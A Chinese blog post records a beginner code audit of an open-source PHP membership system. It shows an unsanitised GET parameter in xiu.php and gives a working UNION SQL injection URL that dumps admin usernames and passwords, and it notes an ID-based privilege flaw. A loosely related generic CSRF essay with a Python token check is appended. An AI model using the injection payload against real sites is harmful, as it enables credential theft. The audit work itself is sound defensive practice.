记一次简单的代码审计

这段时间在想着做个高校的会员管理系统,所以在chrome上装了个掘金插件,今天发现日推推了个类似的PHP写的小程序

本着能省就省,有自行车还造什么轮子的原则
于是乎

git clone https://github.com/chaodada/member.git

经过简单的部署后算是能打开了



后台UI做的真心差评

然后简单的看了下代码,发现几个SQL注入和一个越权

SQL注入

程序使用PDO连接数据库,后台使用了预编译SQL指令,没多大问题
看看前台用户处
xiu.php

if (isset($_GET['id'])) {
    $sql = "select id,username,password,integral,**,email from u_users WHERE 1=1 and id={$_GET['id']} ";
    $res = $pdo->query($sql);
    list($id, $username, $password, $integral, $**, $email) = $res->fetch(PDO::FETCH_NUM);
}

很明显的GET型注入
爆管理员密码的payload:

http://localhost/member-master/member-master/user/xiu_user.php?id=-37 union select 1,2,group_concat(username,0x2a,password,0x20,mpw),4,5,6 from memsystem.u_admin %23

越权

同样还是刚才那个位置


id修改后即可更改任意用户信息

总结

这套程序距离实用还有不小的距离 适合入门级选手审计练手
程序下载地址:https://github.com/chaodada/member.git

### 首次代码审计经验总结 #### 安全漏洞识别的重要性 在首次进行代码审计的过程中,发现了一个潜在的安全隐患——未添加Token验证机制。这种设计缺陷可能导致跨站请求伪造(CSRF)攻击的发生[^1]。具体来说,当应用程序仅依赖Referer头部进行身份验证时,攻击者可能通过诱导受害者访问恶意链接来发起未经授权的操作。 #### CSRF风险评估 CSRF是一种常见的Web应用安全威胁,其核心在于利用用户已经登录的身份,在未经许可的情况下提交操作请求。特别是在管理后台、会员中心等功能模块中,如果缺乏有效的防护措施,则更容易成为攻击目标[^3]。因此,在审查此类区域时应特别注意是否存在动态生成的防伪令牌以及相应的校验逻辑。 #### 代码质量保障策略 除了关注特定类型的漏洞外,整体上还需要重视整个开发周期内的安全性考量。执行代码审核不仅有助于找出隐藏的技术债务,还能提升程序的整体健壮性和可靠性[^2]。这一步骤能够帮助团队确认当前版本是否具备足够的稳定性和适应未来变更的能力。 #### 实践建议与改进方向 为了提高后续工作的效率并减少类似问题再次发生的机会,可以考虑采取以下几个方面的行动: - **引入自动化工具支持**:借助静态分析器等现代技术手段快速定位高危模式。 - **加强开发者培训教育**:定期举办关于最新威胁模型及其防御方法的工作坊。 - **完善流程文档录**:建立标准化指南以便新成员更快融入项目环境。 ```python def secure_form_submission(request): user_token = request.POST.get('csrfmiddlewaretoken') if not verify_csrf_token(user_token): raise PermissionDenied("Invalid or missing CSRF token.") process_user_data(...) def verify_csrf_token(token_from_request): stored_session_value = get_stored_csrf_token() return compare_securely(stored_session_value, token_from_request) ``` 上述示例展示了如何正确实现基于会话存储的CSRF保护机制。此函数首先获取来自客户端提交的数据包中的`csrfmiddlewaretoken`字段值;接着调用辅助方法完成对比工作以判断两者是否匹配。如果不一致则立即终止处理链路返回错误响应给前端界面提示异常情况。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值